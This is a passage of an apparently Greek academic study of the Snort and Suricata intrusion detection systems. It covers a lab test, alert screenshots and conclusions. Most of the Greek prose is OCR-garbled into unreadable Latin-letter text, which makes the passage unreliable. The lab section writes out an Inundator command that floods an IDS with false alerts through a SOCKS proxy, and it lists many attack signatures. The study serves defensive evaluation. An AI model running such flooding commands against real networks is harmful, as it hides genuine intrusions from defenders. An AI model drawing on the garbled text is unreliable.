OTOUOVOUEVOD TEPPAALOVTOG YPNOIUOTOMONKOY EIKOVIKEG UNYXOVES Ol OTOIEG NTOV GLVOESEUEVEG
peta&d Toug pe évav “Host-Only” dpoporoynti tov VirtualBoX, £161 dGTE 01 EIKOVIKEG UNYOVES VO

uropovv va £pBouv o€ EmAPN LOVO LE TN SIKTVOKT Kiviior Tov “1d10Tikov” Tovg d1KTHOV.
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Inundator

(& &

192.168.56.21 192.168.56.2
“Host-Only” VirtualBox Router

Ewova 8-6: Merpapatiky d1ataén soKipns TOQLOONG

O1 dokipég Tov TTporypaTomomonKoy exavaineonKoy e tov 1010 akpimg tpomo kot yia ta dvo IDSs.
Yy kéBe emovainym, ™ 0éon tov IDS ommv Ewdva 8-6 éhaPe xdbe @opd éva amd tor dvo
e€etalopeva IDSs, £xovtag Bécet T diemar] dikthov Tov 6g promiscuous mode £totl doTe va givol og
0éon va cvAlapPdaver Ola to Sokvovpeva makéta. O Adyog yw Tov omoio dev emAéyxOnke va
ekTeLeOTOVV 01 doKIpEg e€etdlovtag Tavutoypova kot ta dvo IDSS ftav 1 EAAelyn TV VTOAOYICTIKGV

TOPOV TOV ATOLTOVVTOY Y10, TNV TOVTOYPOVI EVEPYOTOINGT TV dVO EIKOVIKDV LNYOVDV.

Extoc and to IDS, to mepiailov dokipdv mepterdpupove Tov vmoloylot| Tov emTiBépevon o omoiog
dié0ete ™ Swovopn BackTrack 5R3, oty omoio cupmepthaufdvetar to Inundator, kabmg kot Evav

VTOAOYIGTH GTOYO LE TO TOPOUKAT®D YOPAKTIPIOTIKA:
o  EmmiBépevog, pe ) dwovour BackTrack 5R3
o X10y0G, Le Aertovpyikd ovotnuo Ubuntu 12.04.1.

Mo v mapakorovdnon tov tapayduevov gworomoewy ond Ta dvo IDSS, 1600 to Snort 660 kot to
Suricata mapapetponomnkav €161 mote o1 M ££036¢ Tovg vo. amodnkevetan oe apyeio Unified Logs.
To apyeio avtd eneepydlovtav and o Barnyard2 mov ftav eykatesmpévo Kot 6te 600 GLGTNHULOTO
TPOKEEVOL va amobnkevovtor tedkd o pia Bdon MySQL. T'o v mpofoin kot avdAvorn tov
gl0omomoewv Tov amobnikeboviav ot Pdon dedouévav, ypnoipworomdnke n epapuoyn BASE yuo to

Snort ko 1 epappoyn Snorby yia to Suricata.

AOY®D TOV amOPOVOUEVOL TTEPBAAAOVTOC TTOL dNUIOVPYHONKE Yio TNV TPAYUOTOTTOINGT TNG SOKIUNG,
ypnoworomnke o SSH client tov Ubuntu wg SOCKS proxy. T v mpogtoyacio tov SOCKS

Proxy exteAéoTnKay ol TaPuKAT® EVIOAES:

sudo service ssh start
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ps aux | grep -i ssh

ssh-keygen -t 'rsa’

ssh-keygen -t 'dsa’

cp id_rsa /etc/ssh/ssh_host_rsa_key

cp id_dsa /etc/ssh/ssh_host_dsa_key

cp id_dsa.pub /etc/ssh/ssh_host_dsa_key.pub
cp id_rsa.pub /etc/ssh/ssh_host_rsa_key.pub
cp known_hosts /etc/ssh/known_hosts

21 ovvéyewa £yve ekkivnon tov SOCKS proxy pe tnv eKTEAEST) TOV TOPAKAT® EVIOADV:

sudo service ssh start
sudo ssh -N -D 0.0.0.0:1080 localhost

‘Exovtag evepyomomoel tov SOCKS proxy, extedéotnke to Inundator ekteAdvtag v mopokiTo

EVTOAN:

perl inundator.pl -p localhost:1080 -a root:toor -r ~/Desktop/rules --verbose 192.168.56.21
H extéleon tov Inundator dwouxodmnke perd amd 15 Aemtd kot yw ta 0o IDSs, mpokeipévon va
Swmotwbel o aplOpdg TOV YeLdMG BETIKOV €100TOMGEMY TOV TAPNYXONCAV EVIOG TOL GUYKEKPLUEVOL

YPOVIKOV S10GTNOTOG.

8.4.2 AmoteléONOTA OOKIPUOV

2115 ewkoveg Ewova 8-7 kal Ewkdva 8-8 meptiapfdvovtal ol idomomoelg mov mopnydnoav and to
Snort katd 1 ddpkela g 15hemtng doKunc. AvtioToiyws, otig eikoveg Eucova 8-9, Ewkova 8-10 ko
Ewcova 8-11 nepidappdavovtar ot €1domotioeig mov mapixdncav and to Suricata yia ypovikd didotnuo

tong didpkeloc. A 10 ATOTEAEGUOTO GVTAV TV SOKLUMV TPOKVTTOVV Ta akOAovOa cupmepdopaTo:

1. Kot ta 600 cvotipata gival e&icov evdhmto og emBEGEIS TVPA®MONG, KoM Tapyayoav Evo
ONUOVTIKG peyddo apBud yevdmg Betikmv ewdonomoeny. O apldudg TV EI00TOMGEDY TOV
napnydncav Kot amd ta dVo cuoTiuaTe NTav Tng 010G tééng peyéboug (40.000 — 50.000

ewonowmoelg / 15 Aentdr).

2. To peyaAvtepo mT0c00TO YEVOMDC DETIKOV E100TOMGENDY TOV TAPNYXONGAV AVTIGTOLOVGAV GE

vroypapéc e ET (80,55% yio. to Snort ko 75,74% yuo to Suricata)

Oa mpénel vo onpelwbei 6TL o1 E100TOMGELG AVTEG B LTOPOVOAY VO LETPLOGTOVY LE TN YPTOT TOV
UNYOVIoHOV KoToeAiov wov dabétovv ta egetaldpeva IDSs, meplopilovtag étol tov aplBud tov

€100TTONGEMY OV TOPAyovTaL amd KaOe pio vIToypoEN.
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@ localhost;

Today's alerts: unique listing Source IP Destination IP
- Last 24 Hours alerts unique listing Source IP Destination IP

- Last 72 Hours alerts unique listing Source IP Destination IP

- Most recent 15 Alerts: any protocol ICMP

- Last Source Ports: any protocol Search
- Last Destination Ports: any protocol Graph Alert Data

- Most Frequent Source Ports any protocol Graph Alert Detection Time
- Most Frequent Destination Ports: any protocol

- Most frequent 15 Addresses Source Destination
- Most recent 15 Unique Alerts

- Most frequent 5 Unique Alerts

Use Archive Database

Traffic Profile by Protocol
TCP (100%)
UDP (0%)

ICMP (0%)

® Src [P aoors:
® Dest. IP addrs: 2
® Unique IP links 2

* Source Ports: 18138

Portscan Traffic (0%)

. © TCP (18138) UDP (0) [ |
* Dest Ports: 9

¢ 0 TCP(9) UDP(0)

[Loaded in 7 seconds]

Ewoéva 8-7: Snort — Zovolkog aprtOpog yevddg OeTik@V £180T01|GEDV

Displaying alerts 1-36 of 36 total

< Signature > < Classification > < Total #> Sensor# < Source Address > < Dest. Address > <First > <Last>
0 [snort] stream5: TCP Small Segment Threshold Exceeded bad-unknown 59(0%) 1 1 1 2013-03-12 19:38:50 2013-03-12 19:53:02
0 [snor] streams: Reset outside window bad-unknown 104(0%) 1 1 1 2013-03-12 19:38:44 2013-03-12 19:

0 [snort] ET POLICY Suspicious inbound to mySQL port 3306 bad-unknown 1(0%) 1 1 1 2013-03-12 19:38:18 2013-03-12 19:38:18
[m] [snort] ET POLICY Suspicious inbound to Oracle SQL port 1521 bad-unknown 1(0%) 1 1 1 2013-03-12 19:38:18 2013-03-12 19:38:18
0 [snert] ET POLICY Suspicious inbound to PostgreSQL port 5432 bad-unknown 1(0%) 1 1 1 2013-03-12 19:38:18 2013-03-12 19:

[u] [snort] ET SCAN Potential VNC Scan 5900-5920 attempted-recon 1(0%) 1 1 1 2013-03-12 19:36:18 2013-03-12 19:36:
m [snor] ET SCAN Potential VNC Scan 5800-5820 altempted-recon 1(0%) 1 1 1 2013-03-12 19:38:18 2013-03-12 19:38:18
0 [snort] ET POLICY Suspicious inbound to MSSQL port 1433 bad-unknown 1(0%) 1 1 1 2013-03-12 19:38:18 2013-03-12 19:38:18
0 [snort] ET SCAN Potential SSH Scan OUTBOUND attempted-recon  15005(31%) 1 1 1 2013-03-12 19:38:18 2013-03-12 19:53:01
0 [snort] ET SCAN Potential SSH Scan attempted-recon ~ 15004(31%) 1 1 1 2013-03-12 19:38:18 2013-03-12 19:53:01
0 [snort] ssh: Protocol mismatch non-standard-protocol  827(2%) 1 1 1 2013-03-12 18:49:56 2013-03-12 19:

[m] [snort] ET SHELLCODE Possible Call with No Offset TCP Shelicode shellcode-detect T78(2%) 1 1 1 2013-03-12 19:38:19 2013-03-12 19!

0 [sner] ET POLICY IRC authorization message misc-activity 847(2%) 1 1 1 2013-03-12 19:38:18 2013-03-12 19:

[u] [snort] INDICATOR-COMPROMISE IRC channel notice on non-standard port trojan-activity 847(2%) 1 1 1 2013-03-12 19:38:18 2013-03-12 19:53:00
m [snort] ET SCAN LIbSSH Based SSH Connection - Often used as a BruteForce Tool misc-activity 30(0%) 1 1 1 2013-03-12 19:38:19 2013-03-12 19:52:58
1 [snort] SERVER-ORACLE Oracle database version 8 usemame buffer overflow attempt  attemptedadmin  848(2%) 1 1 1 2013-03-12 19:38:19 2013-03-12 18:53:00
0 [snort] SERVER-OTHER GoodTech SSH Server SFTP Processing Buffer Overflow attemptec-user  864(2%) 1 1 1 2013-03-12 19:38:19 2013-03-12 19:53:00
0 [snort] ET TROJAN HackerDefender Root Kit Remote Connection Attempt Detected trojan-activity 857(2%) 1 1 1 2013-03-12 19:38:19 2013-03-12 19:53:00
1 [snort] SERVER-ORACLE Oracle database DBMS_Scheduler privilege escalation attempt  attempted-user  829(2%) 1 1 1 2013-03-12 19:38:19 2013-03-12 18:52:59
[u] [snort] ET INFO WinUpack Modified PE Header Outbound bad-unknown 783(2%) 1 1 1 2013-03-12 19:38:19 2013-03-12 19:52:58
0 [snort] ET INFO WinUpack Modified PE Header Inbound bad-unknown 783(2%) 1 1 1 2013-03-12 19:38:19 2013-03-12 18:52:58
[u] [snort] MALWARE-BACKDOOR nirvana 2.0 runtime detection - explore ¢ drive trojan-activity 807(2%) 1 1 1 2013-03-12 19:38:19 2013-03-12 19:53:00
m [snort] ET SHELLCODE Possible Call with No Offset TCP Shellcode shellcodedetect  831(2%) 1 1 1 2013-03-12 19:38:19 2013-03-12 19:52:57
0 [snort] SERVER-OTHER gobbles SSH exploit attempt misc-attack 913(2%) 1 1 1 2013-03-12 19:38:18 2013-03-12 18:53:00
0 [snor] SCAN SSH brute force login attempt misc-activity 1598(3%) 1 1 1 2013-03-12 19:38:19 2013-03-12 19:53:00
[ [snort] ET SCAN LibSSH Based Frequent SSH Ci ions Likely Attackl admi 30(0%) 1 1 1 2013-03-12 19:38:21 2013-03-12 19:52:59
0 [snort] ET EXPLOIT Catalyst SSH protocol mismatch altempted-dos 789(2%) 1 1 1 2013-03-12 19:38:19 2013-03-12 18:53:00
[u] [snort] ET POLICY Dameware Remote Control Service Install successfuladmin  825(2%) 1 1 1 2013-03-12 19:38:19 2013-03-12 19:53:00
1 [snort] SERVER-ORACLE Oracle database version 9 usemame buffer overflow attempt  attemptedadmin  885(2%) 1 1 1 2013-03-12 19:38:19 2013-03-12 18:53:00
[u] [snort] ET SHELLCODE Possible Call with No Offset TCP Shellcode shellcode-detect  796(2%) 1 1 1 2013-03-12 19:38:19 2013-03-12 19:53:00
m [snort] SCAN SSH Version map attempt network-scan 820(2%) 1 1 1 2013-03-12 19:38:19 2013-03-12 19:53:00
0 [snort] ET SHELLCODE Possible Call with No Offset TCP Shellcode shellcodedetect  803(2%) 1 1 1 2013-03-12 19:38:19 2013-03-12 18:53:00
0 [snort] CONTENT-REPLACE MSN deny out-bound file transfer attempts policy-violation  817(2%) 1 1 1 2013-03-12 19:38:19 2013-03-12 19:53:00
0 [snort] MALWARE-OTHER LOIC TDP default U dun goofed attack attempted-dos 17(0%) 1 1 1 2013-03-12 19:39:37 2013-03-12 19:52:44
0 [snort] SNMP request tcp altempted-recon 1(0%) 1 1 1 2013-03-12 19:38:18 2013-03-12 19:38:18
[u] [snort] SNMP AgentX/tcp request attempted-recon 1(0%) 1 1 1 2013-03-12 19:38:18 2013-03-12 19:38:18

Ewova 8-8: Snort - AptOpog wevd®dg OTIKAOV 1000 GEMV avVE VTOYPaP]
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[2] Hotkeys Classify Event(s)  +# Filter Options

Sey. Sensor Source IP Destination IP Event Signature Timestamp
O H sensorl 182.168.56.60 192.168.56.21 SCAN SSH brute force login attempt 1PM
O H sensori 192.166.56.60 192.168.56.21 SCAN SSH brute force login attempt M
0 H sensor1 192.168.56.60 192.168.56 21 SCAN SSH brute force login attempt
0 H sensor1 192.168.56.60 192.168.56 21 SCAN SSH brute force login attempt
0 H sensorl 192.168.56.60 192.168.56.21 SCAN SSH brute force login attempt
O n sensorl 192.168.56.60 192.168.56.21 SCAN SSH brute force login attempt 1 PN
O n sensorl 192.168.56.60 192.168.56.21 SCAN SSH brute force login attempt 1 PN
0 n sensorl 192.168.56.60 192.168.56.21 SCAN SSH brute force login attempt 1 Pl
0 n sensorl 192.168.56.60 192.168.56.21 SCAN SSH brute force login attempt 1PM
0 H sensorl 192.168.56.60 192.168.56.21 SCAN SSH brute force login attempt 1 PM
0 H sensori 192.166.56.60 192.168.56.21 SCAN SSH brute force login attempt 8:34 PM
0 H sensori 192.166.56.60 192.168.56.21 SCAN SSH brute force login attempt M
O H sensori 192.166.56.60 192.168.56.21 SCAN SSH brute force login attempt M
0 H sensor1 192.168.56.60 192.168.56 21 SCAN SSH brute force login attempt
0 H sensorl 192.168.56.60 192.168.56.21 SCAN SSH brute force login attempt
0 n sensorl 192.166.56.60 192.166.56.21 SCAN SSH brute force login attempt
O n sensorl 192.168.56.60 192.168.56.21 SCAN SSH brute force login attempt 1 PN
0 n sensorl 192.166.56.60 192.168.56.21 SCAN S8H brute force login attempt 1 P
0 n sensorl 192.168.56.60 192.168.56.21 SCAN SSH brute force login attempt 1PM
0 n sensorl 192.168.56.60 192.168.56.21 SCAN SSH brute force login attempt 1PM
O H sensorl 182.168.56.60 192.168.56.21 SCAN SSH brute force login attempt 1 PM

Ewéve 8-9: Suricata — Zvvoikog apiOpog yevddg O£TIk®V £160T01GEDV
Listing Sessions (:= 1] Hotkeys Classify Event(s) ¢ Filter Options

[ sev. Sensor Source IP Destination IP Event Signature Timestamp.
OB | sensorl 192.168.56.60 192.168.56.21 ET SCAN Potential SSH Scan OUTBOUND
OB | sensori 192.168 56.60 192.168.56.21 ET SCAN Potential SSH Scan

sensori 192.168 56.60 192.168.56.21 SCAN SSH brute force login attempt

sensori 192.168 56.60 192.168.56.21 ET TRCJAN HackerDefender Root Kit Remote Connection Attempt De
sensori 192.168 56.60 192.168.56.21 SERVER-OTHER gabbles SSH exploit attempt

sensori 192.168.56.60 192.168.56.21 ET POLICY Dameware Remote Control Service Install

sensori 192.168.56.60 192.168.56.21 ET SHELLCODE Possible Call with No Offset TCP Shellcode

0 n sensorl 192.168.56.60 192.168.56.21 SERVER-ORACLE Oracle database DBMS_Scheduler privilege escalat

sensorl 192.168.56.60 192.168.56.21 ET SHELLCODE Possible Call with No Offset TCP Shellcode
] sensorl 192.168.56.60 192.168.56.21 MALWARE-BACKDOOR nirvana 2.0 runtime detection - explore ¢ drive
] sensori 192.168 56.60 192.168.56.21 SERVER-ORACLE Oracle database version 9 username buffer overfl...
] sensori 192.168 56.60 192.168.56.21 CONTENT-REPLACE MSN deny out-bound file transfer attempts 24
OB 2 | sensori 192.168 56.60 192.168.56.21 ET INFO WinUpack Modified PE Header Qutbound
O 2 | sensori 192.168 56.60 192.168.56.21 ET INFO WinUpack Modified PE Header Inbound

sensori 192.168 56.60 192.168.56.21 ET SHELLGODE Possible Call with No Gffset TGP Shellcode
sensori 192.168.56.60 192.168.56.21 SERVER-OTHER GoodTech SSH Server SFTP Processing Buffer Overfl
sensorl 192.168.56.60 192.168.56.21 SERVER-ORACLE Oracle database version & usemame buffer averfl...
sensorl 192.168.56.60 192.168.56.21 ET SHELLCODE Possible Call with No Offset TCP Shellcode

@] sensorl 192.168.56.60 192.168.56.21 ET POLICY IRC authorization message

=
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E
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4]
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o]
s
e
£
&=
B
3]

sensori 192.168.56.60 192.168.56.21 INDICATOR-COMPROMISE IRC channel notice on non-standard port
] | sensori 192.168 56.60 192.168.56.21 ET EXPLOIT Catalyst SSH protocol mismatch
] sensori 192.168 56.60 192.168.56.21 SCAN SSH Version map attempt
O sensori 192.168.56.21 192.168.56.60 SURICATA STREAM Packet with invalid ack
O 4 sensori 192.168 56.60 192.168.56.21 tag: Tagged Packet
o] sensori 192.168.56.60 192.168.56.21 SURICATA STREAM Packet with invalid ack

Ewéve 8-10: Suricata - ApiOpog wevddg OsTik®OV 1domo|6sv avd vroypoet] (1/2)
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. Sensor

sensori

sensori

sensori

sensori

sensori

sensori

sensori

sensori

sensori

sensori

Sev.
a n sensort

sensori

sensori

a n sensort

sensori

a n sensort

sensori

a n sensort

sensori

a n sensort

sensori

Source IP

192.168.56.21

192.168.56.60

192.168.56.21

192.168.56.60

192.168.56.21

192.168.56.60

192.168.56.21

192.168.56.21

192.168.56.60

192.168.56.60

192.168.56.60

192.168.56.21

192.168.56.60

192.168.56.21

192.168.56.60

192.168.56.60

192.168.56.60

192.168.56.60

192.168.56.60

192.168.56.60

192.168.56.60

Destination IP

192.166.56.60

192.166.56.21

192.166.56.60

192.166.56.21

192.166.56.60

192.166.56.21

192.166.56.60

192.166.56.60

192.166.56.21

192.166.56.21

192.166.56.21

192.166.56.60

192.166.56.21

192.166.56.60

192.166.56.21

192.166.56.21

192.166.56.21

192.166.56.21

192.166.56.21

192.166.56.21

192.166.56.21

[*] Hotkeys Classify Event(s)

Event Signature

SURICATA STREAM CLOSEWAIT invalid ACK

SURICATA STREAM CLOSEWAIT invalid ACK

SURICATA STREAM SHUTDOWN RST invalid ack

SURICATA STREAM CLOSEWAIT FIN out of window

SURICATA STREAM CLOSEWAIT FIN out of window

SURICATA STREAM ESTABLISHED invalid ack

SURICATA STREAM ESTABLISHED invalid ack

SURICATA STREAM ESTABLISHED SYNACK resend with different ACk

ET TROJAN VMM Detecting Torpig/Anserin/Sinowal Trojan
SURICATA STREAM ESTABLISHED SYN resend with different seq
SURICATA STREAM FIN invalid ack

tag: Tagged Packet

ET POLICY Suspicious inbound to mySQL port 3306

SURICATA STREAM FIN invalid ack

ET SCAN Potential VNC Scan 5300-5920

ET MALWARE Unknown Malware PUTLINK Command Message
ET POLICY Suspicious inbound to PostgreSQL port 5432

ET TROJAN Yoda's Protector Packed Binary - VERY Likely Hostile
ET POLICY Suspicious inbound to MSSQL port 1433

ET TROJAN RLPacked Binary - Likely Hostile

ET POLICY Suspicious inbound to Oracle SQL port 1521

Filter Options

Sessions

N - R - - - - - - = =

Ewova 8-11: Suricata - AptOpoc yevdmg OTIK@OV g180mo6E®VY 0va vToypagt) (2/2)
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9 Xuvumepaopota

Y10, TAGicw TNG TOPODGOC EPYOCiNG TPUYHATOTOMONKE apyikd Hio GUGTNUATIKY KOTAypoQy Kot
TaEWVOUNGT TOV VPICTAUEV®V TEXVOAOYLOV Kot LEBOJOLOYIDV OviyveLoNG KOl ATOTPOTNG EIGROAMY.
Onwg damotdbnke, o YOpoKTNPIOTIKA TV dtupdpov texvoloyidv IDS/IPS kat ov pebodoloyieg
OV OVTEG AE10TO10VY TTOIKIAOVY CNUAVTIKA. ZVVETMG, £VO, TPOTOV TOV TKOVOTOLEL TIC OTUITGELS EVOG
OPYOUVIGLOV OV €ival OmapaitnTo KATAAANAO KOl Y10 TIG OMOLTNOES vOg GAAOV opyavicpov. TIpwy
and v afoloynon tov mpoidvieov IDS/IPS, ov opyaviopol Oa mpémer mponyovuéves vo
TPocdopicovy TIC YEVIKEG OGMOLTHOES MOV YPeldleTol va tKovomoovviol and to mpoidvta. Ot
aforoyntég Bo mpémel KOTOPYV VO KOTOVONGOLV TO YOPOUKTNPIOTIKO TOV GCLGTNUATOV TOL
0pYOVIGHOV, TO OIKTLOKO TEPPEALOV aALd Kot TiG oxedlaloueveg PBpayvnpobdecues aldayéc, €10t
hote o emieydpeveg texvoloyieg IDS/IPS va givar ovufoatég pe ovtd kol vo givor og 0éon va
TOPUKOAOLONGOVV TA YEYOVOTA TMV GLUGTNUAT®Y 1 TOL SIKTOOV Y10, TO OTOi0 VITAPYEL EVOLAPEPOV.
[Tépav g emioyng Tov texvoroyidv IDS/IPS, | yvdon avth givol amapaitntn Kot yio. 10 oyedlacud

¢ cuvolikng Aong IDS/IPS.

"Eyxovtag Kotavoncel Ta DTapyovIo GLGTHLOTO Kol SIKTVOKE TepPaiiovta, ot aloloyntég Oa mtpémet
Vo TPOGdIoPIGoVY TOVG 6TOXOVE TOL emlBLUOVY Va. emttdyovV pe TN ¥pion tov IDS/IPS. Exiong, Oa
TPEMEL VO EEETAGOLV TIG VIAPYOVOEG TOMTIKEG OGPAAELNG Ol omoieg Ba Tovg mapéyovv €va TANB0¢
TPodlaypoapdv Tov Ba. Tpémet vo. ikavorolovy ta tpoidvta IDS/IPS. EmunpocOetol mapdyovieg mov Ha
mpémel vo. cuvekTiunBobv eivan 1 axpifela aviyvevong, n SvvVATOTNTA GLAAOYNG TANPOPOPILDV, 1|
OVVOTOTNTO KATOYPAPTS OEOOUEVMOV GYETIKA LLE TA AVIYVELOUEVA YEYOVOTA, 1 OLVOTOTITO OTTOTPOTNG
emBEce®V, 1 EVKOAID EYKOTACTAONG Ko YPNONG, 1 EVKOAIN GUVINPNONG KAl TAPOUETPOTOINCNG, N
So0EGILOTNTA KOt TTOLOTNTA VITOGTHPIENG, 1 SLOESIUOTNTA KOt TOLOTNTO TEKUNPIOONC, Ol OTOLTHOELG
o€ mMOPOLS KOl TO KOGTOG OmOKTNONG Kot Asttovpyiag. Agdopévov 0Tt kébe pio omd TG TENVOAOYiEg
IDS/IPS mopéyet 610popeTikég dUVATOTNTES KOl TAEOVEKTALLOTA £VAVTL TMV VIOAOIT®V TEYVOAOYIDV,
TOALOL OpYyOaVIGUOl EMAEYOVV VA YPNCILOTOM GOV TOAAATAES Te)voAoyieg IDS/IPS 7 axopa kot
dwapopetikd IDS/IPS g idwog Teyvoroyiag, kabmg kdbe éva amd avtd sival g B€om vo aviyvedoet
YEYOVOTO. TOL OTTO10L BEV AVIYVEDOVTOAL OO TIG VTOAOITA 1] VAL OVIYVEDGEL KATO10VG TOTOVS YEYOVOTMV LE

peyodvtepn axpipela amod to aiia IDS/IPS.

Metd TV oOAOKANP®GOT TNG GLALOYNG TOV UTUITNCEMV Kol TOV Kputnpiov a&loAdynong, arotteitol 1
OLYKEVTP®ON 0&OTIGTOV TANPOPOPIDV GYETIKG e T TPOo¢ alloldynon mpoidvta. Zuvinoelg myég
QVTOV TOV TANPOEOPLDV €ival EPYASTPLO. SOKIUAV N oL Tpounbevtég tov mpoidviov. Katd v
avalnnon mTAnpogoplidv amarteital vo, eEeTdleTol 1 EYKVPOTNTA TOV TNYDV, KOO TOAAEC POPEG
TOPOLGIALOVTOL OTOTEAECUATO OOKIU®Y, Y®Pic Tovtoéypove vo didoviar eENynoelg yw
pebodoroyio. mov ypnolwomombnke. Mia GAAn Adon a&loloynong twv IDS/IPS givar avty g

a&loAdyNoNg tovg amd Tov 1010 ToV OpyavIoHd. Xe kaBe MEPIMTOON, LRLAPYOLV TOAD GNUOVTIKA
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eundda mov kabiotovv iaitepa dvokoAn TV €15 Pabog a&oldoynon twv IDSS/IPSs kot T Aqyn
TOGOTIKMV UETPNGEMV TNG AMOIOCTG TOVG. AOY® OVTMV TV EUTOdIWV, OEV VILAPYEL EML TOV TAPOVTOC
pio. OLOKANPOUEVT] KOl EXICTNUOVIKE TEKUNPLOUEVT] LEBOJOAOYIN SOKIUNG TNG OMOTEAECUATIKOTITOG

QVTOV TOV GLGTNUATOV.

Agdopévon OTL M TAEOVOTNTO TOV EUTOPIKGOV cvoTnudtov givar diktvaxd IDSs/IPSs ta omoia
xpnoonoovy T pebodoroyia aviyvevong Pacel vTOYPUE®V, GTNV TAPOVCH HEAETN S0ONKE ELpacT
OTO KVPLOTEPO, LETPNOIUE YapoKTNPLoTIkd Tov IDSS avthg g te)voroyiag, eotidlovtog Kupimg ota
TOGOTIKG YOPpAKTNPIOTIKE oV oyetilovton pe v akpifelo aviyvevong. Aol TpocdlopicTnKay Ta
YOPOKTNPIOTIKG EVOVTL TOV OTOI®MV UTOPEL VO TPAYLOTOTOMOEl [0l TEPOUOTIKY HEAETN Kol Ol
advvopieg tov IDSS mov pmopel va  ekpetodAdevtel évag emtiféuevoc, TpaypoTomTOmOnKay
EPYACTNPLOKES OOKIUEG YPNOIUOTOLDVTAG 000 gVPEWS Yvotd dktvakd IDSS avowktod kddwka. To
mpmto IDS Ntav to Snort, o omoio amotelel o wo Kotablopévo debvac IDS avoiktod kmdwka. To
devtepo IDS Mo to Suricata, to omoio €yet yivel yvwoto to teAevTaio xpdvia, Kupimg AOy®m Tov
XOPAKTNPIGTIKOD TOV TOALVNUOTIOHOD 7ov O1abétel. To YapoKINPIoTIKO TOL TOALVNUOTIGLOV
emrpénel oto Suricata vo a&omomoet molhomdéc CPUS yioo v mapdAInin ene€epyocio peydiov
mnbovg Tokétwv, o avtibeon e o Snort to omoio sivatl avaykacuévo vo eneEepydletol Ta TOKETA
oEplokd. AmO TNV TEPOUATIK] UEAETN TOV OVO CULOTNUAT®V TPOEKLYOV TO TOPAKATE®

ovunepdopaTo:

1. Awmotodnke pio onpovtiki opotdtnto Heta&d TV 000 CLGTNUAT®Y GTOVE TEPLGGOTEPOVC
Topelg ™G Aettovpylog TOVG Kol TOL TPOMOV TOPAPETPOTOINGONG TOVS. XAPUKTNPIOTIKO
mapadetypa ivar n cvvtadn TV vIoypadv 1 ool akolovbel To cuvtaktikd tov Snort. To
Bacwdtepo onpeio dtapopomoinong Tov Suricata oe oyéon pe to Snort givan n a&omoinon
TOV TOALVNUOTIKOD TPOYPUUUOTIGHOD Yo TN dlEpyacia TG aviyvevong, £I61 MOTE va gival
QKT 1 Pertioon TOV €MOOGEDOV TOL GUGTHWUATOS OTOV Ol OTOLTNOES EMEEEPYACING TNG
diktvakng kivinong avédvoviat. XpnolpHonoidvtag ToAAUTAG vipata Yo T dlepyacio Tng
aviyvevong, eival QKT N ANYN aToPACE®V JoY®PICUOD TG ENEEEPYACING TTOV AmaLTEITAL,
petald TV SWQOPETIKAOV VNUAtOV TG unyoving aviyvevone. Ilpdkertar yo éva
YOPOKTNPLIOTIKO TO 0T0i0 00 TPEMEL VO EVOOUOTOGEL TO SNOIt 6TIg EMOUEVEC EKDOGEIS TOV

TPOKEWEVOL VO, Eival o€ BE0T Vo PEATIDGEL TIG ETOOGELS TOV OTOV CVTO ATOLTEITOL.

2. To Suricata &xer oyedlootel étol dote va givar ovuPatd pe TG VIOYPOUQEEG TOL Eival
drobéotueg yio To Snort, Tpokelévon vo, EKUETOAAEVTEL TNV NON £TO1UN GLAAOYT VIOYPUPDY
mov etvar dwwbéoun 1660 and v VRT 600 kot and v ET. Qotdco, dwmotodnke pio
ONUOVTIKTY amOKAoN ot dvvaTdTnTa 0E0ToINoNG TOV VIOPYOVTIWV VTOYPAPHV Omd To SO
ovoTnuota, 1 omoio avépyeTon otic 2664 voypaéc. Ilpodkettal yio o dapopd g TaEng

0V 9%, M omoio opeiletan aPevOC pEV 6TO YEYOVOG OTL To Suricata dev givon og Béom va
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EPUNVELGEL TO TANPEC CUVOAO EMAOYDV OV givol S100EG1UES GTO GLVTAKTIKO TO SNOIt Kot
AQETEPOV GTNV VTAPEN VIOYPUPDV Ol OTOIES APOPOVY OTTOKAEIGTIKA TOVE TPOEMEEEPYACTEC
tov Snort (Shared Object Rules) kot mov dev ival KatavonTég oo T WOV OViYVELGNG TOV
Suricata. To yeyovdg avtd divel Eva mpoPddiopa oto Snort Evavtt tov Suricata oyetikd pe to

TAN00G TOV YVOCSTOV eMBEGE®V TOL PTOPEL VA aViYVEDGEL VTIO 180VIKEG GUVOTNKEC.

3. Kotd mv nepapatikn ovykpion tov 600 IDS o oyéon pe v ikavoTnTd TOUG VoL aviyvehouV
Kot vo, avoyvepifovv opfd Tig aneilég vd 1Wavikég cuvinkeg, dtumotddnke 6Tl KAl Ta SO
CLGTNLOTO EIVAL OPKETA OTOTEAECUATIKA, UE TO KOE cOoTUO va EYEL TO d1KE TOV onpeio
VIEPOYNG. 261000, SLOMIGTOONKE OTL GUVOALKA TO Snort enédelée peyaAbTEPT OPLOTNTO KoL
OTTOTELEGUATIKOTNTO, OQEVOS UEV AOY® TMV TPOENEEEPYUOTMY TOV Kol APETEPOV AOY® TOV
TAOVGLOTEPOVL GUVTUKTIKOD VTOYPAPAOV ToL dtob€Tel. XapakTnploTiKa gival To Tapadeiypoto
g €EaIpeTIKA pHEYAANG OmOKAIoNG 7oL JameTOdnKe otV aviyvevon embécemv NG

katnyopiag Client Side Attacks, alAd kot thg Suvatdtnrog aviyvevong capmong Bupov.

4. Awmotddnke pio coedc peyoldtepn avBektikdtnto Tov Snort oe oyforn pe to Suricata,
EVOVTL TOV TEYVIKOV OTOPLYNG aviyveuonc. Amd Tig TeVIKEG TOV EQAPUOCTNKOY VA TOCOGTO
m¢ 1a&emg Tov 90% (cuumephauBOVOUEVOVY KOl TOV TEPMTOCEMY UEPIKNG aviyvevonc)
avivedTnke amd to Snort, evd yia Tig id1eg TeYVIKEG To Suricata katdopbmoe va aviyvedoeL To
56% 1ov emBéoemv. H yevikdtepn dlamictmon eival 01t mapoio mov 1 TAEWOVOTNTO TOV
YPNOUYLOTOLOVUEVOV TEYVIKMY OTOQLYNG oviyvevong eival yvootég and o 1998 [17], axdua

KOl OT|LEPX OEV £YOVV OVTILETOTIOTEL LE TAN PN emttuyia amd Ta IDSS.

5. Kot ta 600 ovotiuota sivar e&icov evdlmto oe emiBéoelg TOPA®MONG, KABMG KATA TN
SépKeln NG avTioTOLYNG SOKIUNG TOPTYOyoV £va GNULOVTIKE Heydho apBud yeudds Oetikdv

gdomomoemv g dag téénc peyébovg (40.000 — 50.000 edomomoelg / 15 Aemtdr).

6. Ov mepioootepeg amd TG dokpég €6siEav Ott ot vmoypagés twv VRT o ET
aAAnioovuminpdvovtor kot givoar g&icov amapoitnteg yio TV aviyvevon 060 10 duVOTO
